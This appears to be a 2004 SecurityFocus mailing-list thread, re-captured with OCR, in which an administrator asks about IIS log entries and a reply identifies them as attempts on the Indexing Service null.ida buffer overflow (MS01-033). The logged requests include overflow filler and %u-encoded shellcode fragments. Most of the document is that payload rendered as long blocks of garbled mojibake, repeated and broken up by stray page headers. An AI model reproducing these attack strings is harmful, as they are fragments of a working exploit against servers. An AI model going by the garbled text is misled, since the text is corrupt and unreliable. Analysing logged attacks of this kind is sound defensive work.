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RE: Log Question

Source_http://www.derkeiler.com/Mailing-Lists/securityfocus/focus—ms/2004-02/0063.html|

From: Davis, Matt (matt.davis_at_countryfinancial.com)
Date: 02/27/04

To: 'Sean Warnock ' <swarnock@warnocksolutions.com>, "focus—-ms@securityfocus.com " <focus—ms@securityfocus.com>
Date: Fri, 27 Feb 2004 12:24:49 —0600

It looks like it is trying to exploit a buffer overflow in the Indexing
Service... do a search for null.ida on google for more information. It
exploits MS01-033...

HTH.

Matt Davis, MCSE: Security
COUNTRY Insurance & Financial Services

From: Sean Warnock

To: focus—ms@securityfocus.com
Sent: 2/27/04 10:54 AM

Subject: Log Question

To all on the list;

Over the past few days | have been receiving a flurry of traffic
on one of my web servers. | suspect it to be sometime of automated scan
but | have been unable to find anything listed on Google with this type
of signature. Fortunately whatever is going on is only getting a 404
error but | would like to learn a little more about what is going on.
From what | can tell from reading so far it looks like a buffer overrun
attempt on the indexing service. Below my signature you will find an
except from my log file. Any thoughts or insights would be appreciated.

Sean Warnock
swarnock@warnocksolutions.com

#Software: Microsoft Internet Information Services 5.0

#Version: 1.0

#Date: 2004-02-27 01:28:43

#Fields: date time c—ip cs—username s—ip s—port cs—method cs-uri—stem
cs—uri—query sc—status cs(User—Agent) cs(Referer)

2004-02-27 05:03:10 211.109.254.187 — 192.168.200.202 80 GET
/Default.htm — 200 - -

2004-02-27 05:03:10 211.109.254.187 — 192.168.200.202 80 GET /NULL.IDA

RE: Log Question 1
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A-A§++++ afA-A-++++A2BAS AlA“4,¢4,¢ASA% ASA“4,0a,6A% ACA“a,ca,cA%f+5A"4,¢4,¢ ad,tA-A +++-

A1»a€°3, ¢4, ASA2BASASASA%.f++A"4,¢4,¢ ad,tA-a€™++++ AYA€°4,¢4,¢Z!ffffZ4,¢4,¢4,¢4,¢ ASA“4,ca,
f+A“a,¢a,¢ ASA"a,¢a,¢ 4,0ZA+4,¢A 4,64, CABA™f+9A“4, ¢4, ¢ZA2Y A% WAEC4,ta,¢ a,CA€¢4,04,¢8,0A% A
a,6A% ACtA“a,ca,cA% A®A“4,ta,cA%f+A...A"4,t4,0Z4,¢4,¢4,04,04,¢4,04,04,¢E004,¢4,¢4,0A% A Aja,
778€°4,04,¢4,CA3A ATAi4,04,¢A%+AYAA 4,¢4,¢ ATAiA,04,CA%+ACA 4,¢4,¢ ad,¢A-A»++++ AOAES ge
qZ n4 4,0Z4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,¢ A3A“4,04,CA%AAEf+4,-A A,
AlA“a, ¢4, ¢ AjEcea,ta,ta, ¢ ASA ASA3A A+ffa,¢a,cA%f+A8A 4,¢4,¢ ad, ¢A-AC++++A; AYA a,¢4,¢A; AA
Asfff AYA 4,¢4,¢ A A“4,t4,CA3a€° ASA 4,04,CASA%f+iA“4,¢a,¢ ad, cA-A++++A3A" A A4, ca,cA%f+IA“a,
Aayza€oa, ¢a,¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-A¥++++A'th A A2A¥Aj /
4,04, AP (A¥jA >A-a€C++++AEAT A A{FAEATAT S AYAVLAZHXA[XA2PA,;, A€~ AYAE!AZXxa€%A X 4,¢A
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A¥.A a,04,¢A%fA AZA $AA a,¢a,CASA%IAYLATZA,¢4,04,04,08,04,04,04,¢4,04,¢4,04,¢4,04,¢4,04,0¢4,
A A-AV:A%AACAYA, CA AVLA-ASA-A A<A-A-ACA A-A; ATA™A, CASAAYLA A-AViA%AATACAYAGAA™E, ¢

404 - -
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4,08,0A%,¢ AlA“4,08,0A% A3A“3,04,0A% A'A“4,08,0A%f+AIA 4,08,¢ afA-Ave++++r A3E,CA£4,CA 4,08,
A-A§++++ afA-A-++++A2BAS AlA“4,¢4,¢ASA% ASA“4,0a,6A% ACA“a,ca,CA%f+5A"4,¢4,¢ ad,tA-A +++-

A1»a€°3,¢4,C ASA2BASASASA%.f++A"4,¢4,¢ ad,tA-a€™++++ AYA€°4,¢4,¢Z!ffffZ4,¢4,¢4,¢4,¢ ASA“a,ca,
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a,6A% ACtA“a,ca,cA% A®A“4,Ca,cA%f+A...A"4,t4,0Z4,¢4,¢4,04,04,¢4,04,04,¢E004,¢4,¢4,0A% A Aja,
775€°4,04,¢4,CA3A ATAi4,04,¢A%f+AYAA 4,¢4,¢ ATAiA,¢4,CA%+ACA 4,¢4,¢ ad,tA-A»++++ AOAES ge
gqZ n4 4,0Z4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,¢ A3A“4,04,CA%A3AEf+4,-A A,
AlA“a, ¢4, 0 AjEcea,ta,ca,tASA ASA3A A+ffa,¢a,cA%f+A8A 4,¢4,¢ ad, ¢A-AC++++A; AYA a,¢4,¢A; AA
Asfff AYA 4,¢4,¢ A A“4,t4,CA3a€° ASA 4,04,CASA%f+iA“4,¢a,¢ ad, cA-A++++A3A" A A4, ca,cA%f+IA“a,
Aayza€oa, ¢4, ¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-A¥Ya++++A'th A A2A¥Aj /

RE: Log Question 2
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A¥.A a,04,¢A%A AZA $AA a,¢a,CASA%IAYLATZA,¢4,04,04,08,04,04,04,¢4,04,¢4,04,¢4,04,¢4,04,0¢4,
A A-AV:A%AACAYA, CA AVLA-ASA-A A<A-A-ACA A-A; ATAA, CASACAYLA A-AViA%AATACAYAGAA™E, ¢

404 - -
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A1»a€°3, ¢4, ASA2BASASASA%.f++A"4,¢4,¢ ad,tA-a€™++++ AYA€°4,¢4,¢Z!ffffZ4,¢4,¢4,¢4,¢ ASA“4,ca,
f+A“a,¢a,¢ ASA"a,¢a,¢ 4,0ZA+4,¢A 4,64, CABA™f+9A“4, ¢4, ¢ZA2Y A% WAEC4,ta,¢ a,CA€¢4,04,08,0A% A
a,6A% ACA“a,ca,cA% A®A“4,ta,cA%f+A...A"4,t4,0Z4,¢4,¢4,04,04,¢4,04,04,CE004,¢4,¢4,0A% A Aja,
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qZ n4 4,0Z4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,¢ A3A“4,04,CA%A3AEf+4,-A 4,
AlA“a,¢a,0 AiEcea,ta,ca,¢ASA ASA3A A+ffa,¢a,cA%f+A8A 4,¢4,¢ ad, ¢A-AC++++A; AYA a,¢4,¢A; AA
Asfff AYA a,¢4,¢ A A“4,t4,0A3a€° ASA 4,04,CASA%f+iA“4,¢a,¢ ad, cA-A++++A3A" A A4, ca,cA%f+IA“a,
Aayza€°a, ¢4, ¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-A¥Y++++A'th A A2A¥Aj /
4,04, AP (A¥4jA >A-a€C++++AEAT A A{FAEATAT S AYAVLAZHXA [ XA2PA,;, a€~ AYAE!AZXxa€%A X 4,¢A
a,04,0a,¢ A¥%A 4,048,062 $ASA“4,¢4,¢ ~A gAT4,¢4,08,6ATA%AYA2PNHek7A Al4,CA-Avs++++A%A FQag

A¥.A a,04,CA%A AZA $AA a,¢a,CASA%IAYLATZA,¢4,04,04,08,04,04,04,¢4,04,¢4,04,¢4,04,¢4,04,0¢4,
A A-AV:A%AACAYA,CA AVLA-ASA-A A<A-A-ACA A-A; ATA™A, CASACAYLA A-AViA%AATACAYARAA™E, ¢

404 - -
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a,t4,¢ ATA“a,¢a,¢q_a,t4,t4,¢ afa€" /a,¢4,¢4,¢ ad, ¢A-A ++++A33,¢ AlA“4,¢4,CA%A+4,¢A 4,¢4,¢ ASA“a,
a,¢a,¢A%4,¢ AlAa,¢4,0A% A3A“4,ta,6A% A'A“4,ta,tA% +AA &,04,¢ afA-Alvs++++r A4, CA+4,CA 4,¢4,4
A-A§++++ afA-A-++++A2BAS AlA“4,¢4,¢ASA% ASA“4,0a,6A% ACA“a,ca,CA%f+5A"4,¢4,¢ ad,tA-A +++-

RE: Log Question 3
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A1»a€°3,¢4,C ASA2BASASASA%.f++A"4,¢4,¢ ad,tA-a€™++++ AYA€°4,¢4,¢Z!ffffZ4,¢4,¢4,¢4,¢ ASA“a,ca,
f+A“a,¢a,¢ ASA"a,¢a,¢ 4,0ZA+4,¢A 4,64, CACA™f+9A“4, ¢4, ¢ZA2Y A% WAEC4,ta,¢ a,CAE¢4,¢4,¢8,0A% A
a,6A% AtA“a,ca,cA% A®A“4,Ca,cA%f+A...A"4,t4,024,¢4,¢4,04,04,¢4,04,04,CE004,¢4,¢4,0A% A Aja,
775€°4,04,¢4,¢A3A ATAi4,04,¢A%f+AYAA 4,¢4,¢ ATAiA,04,CA%+ACA 4,¢4,¢ ad,¢A-A»++++ AOAES ge
gqZ n4 4,0Z4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,¢ A3A“4,04,CA%A3AEf+4,-A A,
AlA“a, ¢4, ¢ AjEcea,ta,ta,¢ASA ASA3A A+ffa,¢a,cA%f+A8A 4,¢4,¢ ad, ¢A-AC++++A; AYA a,¢4,¢A; AA
Asfff AYA 4,¢4,¢ A A“4,ta,CA3a€° ASA 4,04,CASA%f+iA“4,¢a,¢ ad, cA-A%++++A3A" A A4, ca,cA%f+IA“a,
Aayza€oa, ¢4, ¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-AY++++A'th A A2A¥A|j /
4,04, AP (A¥4jA >A-a€¢++++AEAT A A{FAEATAT S AYAVLAZHXA [ XA2PA,;, a€~ AYAE!AjZXxa€%A X 4,¢A
a,04,0a,¢ A¥%A 4,048,062 $ASA“4,¢4,¢ ~A gAT4,04,08,6ATA%AYA2PNHek7A Al4,CA-Avs++++A%A FQag

A¥.A a,04,CA%fA AZA $AA a,¢a,CASA%IAYLATZA,¢4,04,04,08,04,04,04,¢4,04,¢4,04,¢4,04,¢4,04,04,
A A-AV:A%AACAYA, CA AVLA-ASA-A A<A-A-ACA A-A; ATAA, CASACAYLA A-AViA%AATACAYARAA™E, ¢

404 - -

2004-02-27 05:03:32 211.109.254.187 — 192.168.200.202 80 GET /NULL.IDA
CCCCCCCCCCCCCrCrrreeeeceeeeeeeeceeecceeeeceeceeceeccececcececcecececececcecececececececcecc
CCCCCCCCCCCCCCrreeeeceeeceeeeceeeeceeceeceeceecececcecececececcecececececcececececcececcecc
CCCCCCCCCCCCCCrreeeeceeeeeeeceeeeceececceeceecececcececcecececcecececececcecececececececcecc
CCCCcCcCccceeeceecCr%unaeb%ub890%ubfl7%u77e4%u0000%u0000%u838b%u0094%u0000%.u

A—&€°3,04,¢ A3A“4,04,00A"4€°4,08,00A%A4,08,¢ A A“a,04,0q'Eed, ¢a,¢ A-A"4,0a,¢ A Aa,04,CqAa€
A“a,08,0A%f+a€ A 4,08,¢ A A“4,04,CA%I+aE A 8,04,¢ ATA"4,08,CA%f+A4,¢4,6 ACA“4,Ca,CA%+AE, 0
4,0a,¢ ATA"4,¢4,6q_a,04,04,¢ afa€" /3,04,04,¢ ad,CA-A ++++A%,¢ AlA“4,08,0A%A+4,0A 4,04,0 ASA“3,(
4,08,0A%,¢ AlA“4,08,0A% A3A“3,04,0A% A'A“4,08,0A%f+AIA 4,08,¢ afA-Ave++++r A3E,CA£4,CA 4,08,
A-A§++++ afA-A-++++A2BAS AlA“4,¢4,¢ASA% ASA“4,0a,6A% ACA“a,ca,CA%f+5A"4,¢4,¢ ad,tA-A +++-

A1»a€°3,¢4,C ASA2BASASASA%.f++A"4,¢4,¢ ad,tA-a€™++++ AYA€°4,¢4,¢Z!ffffZ4,¢4,¢4,¢4,¢ ASA“a,ca,
f+A“a,¢a,¢ ASA"a,¢a,¢ 4,0ZA+4,¢A 4,64, CABA™f+9A“4, ¢4, ¢ZA2Y A% WAEC4,ta,¢ E,CA€¢4,04,¢8,0A% A
a,6A% ACA“a,ca,cA% A®A“4,Ca,cA%f+A...A"4,t4,0Z4,¢4,¢4,04,04,¢4,04,04,CE004,¢4,¢4,0A% A Aja,
775€°4,04,¢4,CA3A ATAi4,04,¢A%f+AYAA 4,¢4,¢ ATAiA,¢4,CA%+ACA 4,¢4,¢ ad,tA-A»++++ AOAES ge
gqZ n4 4,0Z4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,¢ A3A“4,04,CA%A3AEf+4,-A 4,
AlA“a, ¢4, 0 AjEcea,ta,ta,cASA ASA3A A+ffa,¢a,cA%f+A8A 4,¢4,¢ ad, tA-AC++++A; AYA a,¢4,¢A; AA
Asfff AYA 4,¢4,¢ A A“4,t4,0A3a€° ASA 4,04,CASA%f+iA“4,¢a,¢ ad, cA-A++++A3A" A A4, ca,cA%f+IA“a,
Aayza€°a, ¢4, ¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-A¥++++A'th A A2A¥Aj /
4,04, AP (A¥4jA >A-a€C++++AEAT A A{FAEATAT S AYAV:AZHXA [ XA2PA,;, a€~ AYAE!AZXxa€%A X 4,¢A
a,04,0a,¢ A¥%A 4,048,062 $ASA“4,¢4,¢ ~A gAT4,04,08,0ATA%AYA2PNHek7A Al4,CA-Avs++++A%A FQag

A¥.A a,04,CA%fA AZA $AA a,¢a,CASA%IAYLATZA,¢4,04,04,08,04,04,04,¢4,04,¢4,04,¢4,04,¢4,04,04,
A A-AV:A%AACAYA, CA AVLA-ASA-A A<A-A-ACA A-A; ATA™A, CASACAYLA A-AViA%AATACAYARAAE, ¢

404 - -
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CCCcCcCccceceeecceecCr%unaeb%ub890%uac97%u77e4%u0000%u0000%u838b%u0094%u0000%u

A—a€°3,¢4,¢ AsA“4,ta,¢9Aa€04,¢4,60A%Aa,¢4,¢ A A“4,¢4,¢qEmea, ¢a,¢ A-A“4,¢a,¢ A A“4,ca,cqAlaE
A“a,ca,¢A%f+a€ A a,¢4,¢ A A“4,¢a,¢A%f+aE A a,¢a,¢ ATA“4,¢a,¢A%f+Aa,¢4,¢ ACA“4,ca,¢A%f+A4, ¢
f+OA“a,¢4,6Z A'A“a,04,¢A34,0A38,~ AjEmw4,ta,0A% A'A“4,¢a,CA%+A[A &,08,0Z4€ a€oeA A°A-A-A-A"A-
a,t4,¢ ATA“a,¢a,¢q_a,04,¢a,¢ afa€" /a,¢4,¢4,¢ ad, ¢A-A ++++A33,¢ AlA“4,¢4,CA%A+4,¢A 4,¢4,¢ ASA“a,
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A1»a€°3, ¢4, ASA2BASASASA%.f++A"4,¢4,¢ ad,tA-a€™++++ AYA€°4,¢4,¢Z!ffffZ4,¢4,¢4,¢4,¢ ASA“4,ca,
f+A“a,¢a,¢ ASA"a,¢a,¢ 4,0ZA+4,¢A 4,64, CABA™f+9A“4, ¢4, ¢ZA2Y A% WAEC4,ta,¢ a,CAE€¢4,04,¢8,0A% A
a,6A% AtA“a,ca,tA% A®A“4,ta,cA%f+A...A"4,t4,024,¢4,¢4,04,04,¢4,04,04,¢E004,¢4,¢4,0A% A Aja,
775€°4,04,¢4,CA3A ATAi4,04,¢A%f+AYAA 4,¢4,¢ ATAiA,04,CA%+ACA 4,¢4,¢ ad,tA-A»++++ AOAES ge
qZ n4 4,0Z4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,¢ A3A“4,04,CA%A3AEf+4,-A 4,
AlA“a, ¢4, ¢ AiEcea,ta,ca,¢ASA ASA3A A+ffa,¢a,cA%f+A8A 4,¢4,¢ ad, ¢A-AC++++A; AYA a,¢4,¢A; AA
Asfff AYA 4,¢4,¢ A A“4,t4,CA3a€° ASA 4,04,CASA% +iA“4,¢a,¢ ad, cA-A++++A3A" A A4, ca,cA%f+IA“a,
Aayza€°a, ¢4, ¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-AYa++++A'th A A2A¥A|j /
4,04, AP (A¥4A >A-a€¢++++AEAT A A{FAEATAT S AYAVLAZHXA [ XA2PA,;, a€~ AYAE!AZXxa€%A X 4,¢A
a,04,0a,¢ A%A 4,048,062 $ASA“4,¢4,¢ ~A gAT4,04,08,6ATA%AYA2PNHek7A Al4,CA-Avs++++A%A FQag

A¥.A a,04,CA%A AZA $AA a,¢a,CASA%IAYLATZA,¢4,04,04,08,04,04,04,¢4,04,¢4,04,¢4,04,¢4,04,0¢4,
A A-AV:A%AACAYA,CA AVLA-ASA-A A<A-A-ACA A-A; ATA™A, CASACAYLA A-AViA%AATACAYARAA™A, ¢
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AlA“a, ¢4, ¢ AiEcea,ta,ca,tASA ASA3A A+ffa,¢a,cA%f+A8A 4,¢4,¢ ad, ¢A-AC++++A; AYA a,¢4,¢A; AA
Asfff AYA 4,¢4,¢ A A“4,t4,CA3a€° ASA 4,04,CASA% +iA“4,¢a,¢ ad, cA-A++++A3A" A A4, ca,cA%f+IA“a,
Aayza€°a, ¢4, ¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-AYa++++A'th A A2A¥Aj /
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RE: Log Question 5



SecurityFocus Microsoft: RE: Log Question
A A-RviRopoRe AOAY:a, ¢ A AVA-ASA-A Ach-A-AOA A-A; ATA S, CASACAYAA A-AVihboAcATAAY AcReA 3,8

404 - -

2004-02-27 05:03:47 211.109.254.187 — 192.168.200.202 80 GET /NULL.IDA
CCCCCCCCCCCCCCCrreeeeceeeeceeeeeeeeceeceecceeceeceececececececcecececececcecececececcececcecc
CCCCCCCCCCCCCCrrreeeeceeeeeeeeeeeeceececceeceecececeeceecececcececececcecececececececcecc
CCCCCCCCCCCCCrCrrreereeceeeeeeeceeeeceececceeceeceecceeccececcecececececcecececececececcecc
CCCcCcCcceeeceeceecC%unaeb%ub890%ue52b%u77e6%u0000%u0000%u838b%u0094%u0000%.u

A—&€°3,04,¢ A3A“4,04,00A"4€°4,08,00A%A4,08,¢ A A“a,04,0qEced, ¢a,¢ A-A"4,0a,¢ A A*a,04,CqAa€
A“a,08,0A%f+a€ A 4,08,¢ A A“4,04,CA%I+aE A 8,04,¢ ATA“4,C8,CA%f+A8,04,6 ACA“4,Ca,CA%+A"d, L
4,0a,¢ ATA"4,¢4,6q_a,04,04,¢ afa€" /3,04,04,¢ ad,CA-A ++++A%,¢ AlA“4,08,0A%A+4,0A 4,04,0 ASA“3,(
4,08,0A%,¢ AlA“4,08,0A% A3A“3,04,0A% A'A“4,08,0A%f+AIA 4,08,¢ afA-Ave++++r A3E,CA£4,CA 4,08,
A-A§++++ afA-A-++++A2BAS AlA“4,¢4,¢ASA% ASA“4,0a,6A% ACA“a,ca,cA%f+5A"4,¢4,¢ ad,tA-A +++-

A1»a€°3,¢4,C ASA2BASASASA%.f++A"4,¢4,¢ ad,tA-a€™++++ AYA€°4,¢4,¢Z!ffffZ4,¢4,¢4,¢4,¢ ASA“4,ca,
f+A“a,¢a,¢ ASA"a,¢a,¢ 4,0ZA+4,¢A 4,64, CABA™f+9A“4, ¢4, ¢ZA2Y A% WAEC4,ta,¢ a,CA€¢4,04,08,0A% A
a,6A% ACA“a,ca,cA% A®A“4,ta,cA%f+A...A"4,t4,0Z4,¢4,¢4,04,04,¢4,04,04,CE004,¢4,¢4,0A% A Aja,
778€°4,04,¢4,CA3A ATAi4,04,¢A%f+AYAA 4,¢4,¢ ATAiA,¢4,CA%+ACA 4,¢4,¢ ad,tA-A»++++ AOAES ge
qZ n4 4,0Z4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,¢ A3A“4,04,CA%A3AEf+4,-A 4,
AlA“a, ¢4, 0 AiEcea,ta,ta, ¢ ASA ASA3A A+ffa,¢a,cA%f+A8A 4,¢4,¢ ad, ¢A-AC++++A; AYA a,¢4,¢A; AA
Asfff AYA 4,¢4,¢ A A“4,ta,0A3a€° ASA 4,04,¢ASA%f+iA“4,¢a,¢ ad, cA-A%++++A3A" A A4, ca,cA%f+IA“a,
Aayza€°a, ¢4, ¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-AYa++++A'th A A2A¥Aj /
4,04, AP (A¥4jA >A-a€C++++AEAT A A{FAEATAT S AYAVLAZHXA[XA2PA,;, a€~ AYAE!AjZXxa€%A X 4,¢A
a,04,0a,¢ A¥%A 4,048,062 $ASA“4,¢4,¢ ~A gAT4,04,08,6ATA%AYA2PNHek7A Al4,CA-AYs++++A%A FQag
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RE: Log Question 6



SecurityFocus Microsoft: RE: Log Question

a,6A% AtA“a,ca,cA% A®A“4,ta,cA%f+A...A"4,t4,024,¢4,¢4,04,04,¢4,04,04,¢E004,¢4,¢4,0A% A Aja,
778€°4,04,¢4,CA3A ATAi4,04,¢A%f+AYAA 4,04,¢ ATAiA,04,CA%+ACA 4,¢4,¢ ad,¢A-A»++++ AOAES ge
gqZ n4 4,0Z4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,¢ A3A“4,04,CA%A3AEf+4,-A 4,
AlA“a, ¢4, ¢ AiEcea,ta,ta,¢ASA ASA3A A+ffa,¢a,cA%f+A8A 4,¢4,¢ ad, ¢A-AC++++A; AYA 4,¢4,¢A; AA
Asfff AYA 4,¢4,¢ A A“4,t4,0A3a€° ASA 4,04,CASA%f+iA“4,¢a,¢ ad, cA-A++++A3A" A A4, ca,cA%f+IA“a,
Aayza€°a, ¢a,¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-AY++++A'th A A2A¥Aj /
a,0a,0A2P(A¥4jA >A-a€C++++AEAT A A{FAEATAT S AYAVLAZHXA [ XA2PA,;, a€~ AYAE!AZXxa€%A X 4,¢A
a,0a,0a,¢ A¥%A 4,048,062 $ASA“4,¢4,¢ ~A gAT4,¢4,08,6ATA%AYA2PNHek7A Al4,CA-Avs++++A%A FQag
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a,6A% ACtA“a,ca,cA% A®A“4,ta,cA%f+A...A"4,t4,0Z4,¢4,¢4,04,04,¢4,04,04,¢E004,¢4,¢4,0A% A Aja,
775€°4,04,¢4,CA3A ATAi4,04,¢A%f+AYAA 4,¢4,¢ ATAiA,04,CA%+ACA 4,¢4,¢ ad,tA-A»++++ AOAES ge
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Asfff AYA 4,¢4,¢ A A“4,t4,CA3a€° ASA 4,04,¢ASA% +iA“4,¢a,¢ ad, cA-A++++A3A" A A4, ¢4, cA%f+IA“a,
Aayza€°a, ¢4, ¢A%), ¢4,04,¢4,¢4,04,¢4,¢4,04,04,¢4,¢4,014,¢4,ChA® AjA’Af+4,CA-AY++++A'th A A2A¥Aj /
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RE: Log Question 7



SecurityFocus Microsoft: RE: Log Question

A—&€°3,04,¢ A3A“4,04,00A"4€°4,08,00A%A4,08,¢ A A“a,04,0qEced, ¢a,c A-A"4,0a,¢ A A*a,04,CqA8€
A“a,08,0A%f+a€ A 4,08,¢ A A“4,04,CA%I+aE A 8,04,6 ATA“4,08,CA%f+A8,04,6 ACA“4,Ca,CA%+A"8, L
4,04, ATA"4,¢4,6q_a,04,04,¢ afa€" /3,04,04,¢ ad,CA-A ++++A%,¢ AlA“4,08,0A%A+4,0A 4,04,6 ASA“3,(
4,08,0A%,¢ AlA“4,08,0A% A3A“3,04,0A% A'A“4,08,0A%f+AIA 4,08,¢ afA-Ave++++r A3E,CA+4,CA 4,08,
A-A§++++ afA-A-++++A2BAS AlA“4,¢4,¢ASA% ASA“4,ta,6A% ACA“a,ca,CA%f+5A"4,¢4,¢ ad,tA-A +++-
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f+A“a,¢a,¢ ASA"a,¢a,¢ 4,0ZA+4,¢A 4,64, CABA™f+9A“4, ¢4, ¢ZA2Y A% WAEC4,ta,¢ E,CA€¢4,04,04,0A% A
a,6A% AtA“a,ca,cA% A®A“4,ta,cA%f+A...A"4,t4,024,¢4,¢4,04,04,¢4,04,04,¢E004,¢4,¢4,0A% A Aja,
778€°4,04,¢4,CA3A ATAi4,04,¢A%f+AYAA 4,¢4,¢ ATAiA,04,CA%+ACA 4,¢4,¢ ad,¢A-A»++++ AOAES ge
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